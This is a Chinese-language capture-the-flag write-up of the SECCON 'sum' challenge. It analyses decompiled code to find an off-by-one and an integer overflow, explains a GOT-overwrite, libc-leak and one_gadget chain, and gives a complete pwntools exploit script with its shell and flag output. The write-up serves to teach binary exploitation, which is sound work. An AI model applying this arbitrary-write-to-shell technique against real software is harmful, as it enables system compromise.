0x20 sum
这道题目挺有意思的, 一开始没想明白怎么利用, 只知道一个
Integer Overflow
和off by one
. 可以把这个问题定性为: 如何通过8字节任意地址写获得shell. 当然, 大佬请绕道~
0x21 检查保护
➜ challenge checksec sum
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x22 漏洞分析
main()
程序逻辑也很简单, 就是一个加法运算, 一般这样的都能往整数溢出方面猜了. 先看看main()
函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 num[5]; // [rsp+0h] [rbp-40h]
__int128 result; // [rsp+28h] [rbp-18h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
num[0] = 0LL;
num[1] = 0LL;
num[2] = 0LL;
num[3] = 0LL;
num[4] = 0LL;
result = (unsigned __int64)&result + 8; // equal: result = &num[4]
puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");
puts("[Example]\n2 3 4 0");
read_ints(num, 5LL);
if ( (signed int)sum(num, (_QWORD *)result) > 5 )// check int number count
exit(-1); // must change exit addr as main address
printf("%llu\n", *((_QWORD *)&result + 1));
return 0;
}
上面有两个比较重要的函数, 一是read_ints()
; 二是sum()
. 还有两个需要关注的数据, 一是num[5]
, 二是result
. 这里需要注意一下, result
占了16个字节, 因为后面用到了result = &result + 8
, 而num
和result
在堆栈上是相邻的, 因此如果能够让num
数组越界写的话, 就能改result
在栈上的值, 即任意修改result
的地址.
read_ints()
unsigned __int64 __fastcall read_ints(__int64 *num, __int64 cnt)
{
__int64 i; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0LL; i <= cnt; ++i ) // vuln1: off by one, can write 6 number
{
if ( (unsigned int)__isoc99_scanf("%lld", &num[i]) != 1 )
exit(-1);
if ( !num[i] )
break;
}
return __readfsqword(0x28u) ^ v4;
}
上面可以看到,read_ints()
第二个参数是输入整数的数量cnt
, 但是for
循环中的判断为i <= cnt
, 故实际可写入6*8 = 48
个字节, 即可以改栈上result
的地址.
sum()
__int64 __fastcall sum(__int64 *num, _QWORD *result)
{
int i; // eax
unsigned int ret; // [rsp+14h] [rbp-Ch]
*result = 0LL;
ret = 0;
while ( num[ret] )
{
i = ret++;
*result += num[i]; // vuln2: integer overflow
}
return ret;
}
这里能明显看到result可以整数溢出(但不需要利用这个洞), 如果能够控制栈上result
地址的话, 就可以往任意地址写入value
. *result
即为这个value
.
0x23 漏洞利用
经过上面的分析, 总的利用思路如下:
-
输入6个整数, 最后一个整数为我们想要写入数据的地址.(在
read_ints()
中) -
为了在
sum()
中控制修改后的result
地址上的值, 需要保证六个整数的和(sum)的结果为我们希望写入的值. -
总体的利用步骤如下:
-
First,
main
函数只能执行一次, 且main()
中有sum(num, (_QWORD *)result) > 5
的判断, 如果输入超过了5个整数就会exit()
, 因此可以修改exit
的got地址为main函数的地址, 每次exit
的时候实际上调用main
. -
Second, 能够重复调用
main
函数还不够, 还需要泄露libc地址以跳到onegadget. 但是main
函数不能执行到printf
(因为exit()
变成了main
), 而前面两次puts
都是固定字符串变量, 在.data
段, 无法修改那个段上的值. 所以找到了setup()
函数, 这个函数在_start
中被__init_array
调用.setup()
中调用了setvbuf()
,setvbuf
的第一个参数是.bss
段上的, 可以先把setvbuf()
got地址改为puts
, 然后再改__bss_start
地址上的值为puts
got地址, 就能打印出puts
的地址.unsigned __int64 setup() { unsigned __int64 v0; // ST08_8 v0 = __readfsqword(0x28u); setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); // 2: unbuffered alarm(0x1Eu); return __readfsqword(0x28u) ^ v0; }
-
Third, 经过上一步计算出libc基址后, 就能确定one_gadget的地址了, 最终确定只有
0x4f322
的one_gadget才有用. 如下:➜ seccon one_gadget libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
-
0x24 exp
#!/usr/bin/env python
#coding=utf-8
from pwn import *
# we should make 6 integers sum result is %value in %addr
def sla(addr, value):
p.sendlineafter("2 3 4 0\n", "-{} 1 1 1 {} {}".format(addr, value - 3, addr))
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
p = process("./sum")a
elf = ELF("./sum")
libc = ELF("./libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb")
puts_plt = 0x400600
# 1. First, change exit got as _start address, so can reuse main func
sla(elf.got['exit'], elf.sym['_start'])
# 2. Second, change setvbuf got as puts address in setup(),
# setup() func called by _init_array
# so that we cant puts value
sla(elf.got["setvbuf"], puts_plt)
# 3. Third, change __bss_start value as puts got address, can leak puts address
sla(elf.sym['__bss_start'], elf.got['puts'])
puts_addr = u64(p.recvn(6).ljust(8, '\x00'))
libc.address = puts_addr - libc.sym['puts']
info("leak puts address: " + hex(puts_addr))
info("libc base: " + hex(libc.address))
# 4. change scanf got address as one gadget
sla(elf.got['__isoc99_scanf'], libc.address + 0x4f322)
p.interactive()
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x36 bytes:
'SECCON{ret_call_call_ret??_ret_ret_ret........shell!}\n'
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
[*] Got EOF while reading in interactive
$
网友评论